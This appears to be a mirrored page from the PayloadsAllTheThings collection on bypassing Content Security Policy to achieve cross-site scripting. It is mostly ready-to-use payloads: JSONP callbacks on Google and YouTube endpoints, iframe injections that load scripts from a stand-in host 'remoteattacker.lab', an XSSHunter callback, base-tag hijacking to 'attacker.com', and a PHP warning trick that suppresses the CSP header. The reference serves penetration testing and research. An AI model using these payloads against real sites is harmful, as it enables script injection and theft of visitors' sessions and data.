ContextQMD
Back to Payloadsallthethings

CSP Bypass

XSS Injection/4 - CSP Bypass.md

4.26.8 KB
Original Source

CSP Bypass

A Content Security Policy (CSP) is a security feature that helps prevent cross-site scripting (XSS), data injection attacks, and other code-injection vulnerabilities in web applications. It works by specifying which sources of content (like scripts, styles, images, etc.) are allowed to load and execute on a webpage.

Summary

Tools

  • gmsgadget.com - GMSGadget (Give Me a Script Gadget) is a collection of JavaScript gadgets that can be used to bypass XSS mitigations such as Content Security Policy (CSP) and HTML sanitizers like DOMPurify.
  • csp-evaluator.withgoogle.com - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.

Bypass CSP using JSONP

Requirements:

  • CSP: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Payload:

Use a callback function from a whitelisted source listed in the CSP.

  • Google Search: //google.com/complete/search?client=chrome&jsonp=alert(1);
  • Google Account: https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
  • Google Translate: https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();
  • Youtube: https://www.youtube.com/oembed?callback=alert;
  • Intruders/jsonp_endpoint.txt
  • JSONBee/jsonp.txt
js
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"

Bypass CSP default-src

Requirements:

  • CSP like Content-Security-Policy: default-src 'self' 'unsafe-inline';,

Payload:

http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;

js
script=document.createElement('script');
script.src='//remoteattacker.lab/csp.js';
window.frames[0].document.head.appendChild(script);

Source: lab.wallarm.com

Bypass CSP inline eval

Requirements:

  • CSP inline or eval

Payload:

js
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)

Source: Rhynorater

Bypass CSP script-src self

Requirements:

  • CSP like script-src self

Payload:

js
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

Source: @akita_zen

Bypass CSP script-src data

Requirements:

Payload:

javascript
<script src="data:,alert(1)">/</script>

Source: @404death

Bypass CSP unsafe-inline

Requirements:

  • CSP: script-src https://google.com 'unsafe-inline';

Payload:

javascript
"/><script>alert(1);</script>

Bypass CSP nonce

Requirements:

  • CSP like script-src 'nonce-RANDOM_NONCE'
  • Imported JS file with a relative link: <script src='/PATH.js'></script>

Payload:

  • Inject a base tag.

    html
    <base href=http://www.attacker.com>

  • Host your custom js file at the same path that one of the website's script.

    ps1
    http://www.attacker.com/PATH.js

Bypass CSP header sent by PHP

Requirements:

  • CSP sent by PHP header() function

Payload:

In default php:apache image configuration, PHP cannot modify headers when the response's data has already been written. This event occurs when a warning is raised by PHP engine.

Here are several ways to generate a warning:

  • 1000 $_GET parameters
  • 1000 $_POST parameters
  • 20 $_FILES

If the Warning are configured to be displayed you should get these:

  • Warning: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0
  • Warning: Cannot modify header information - headers already sent in /var/www/html/index.php on line 2
ps1
GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a&a&a&a

Source: @pilvar222

Labs

References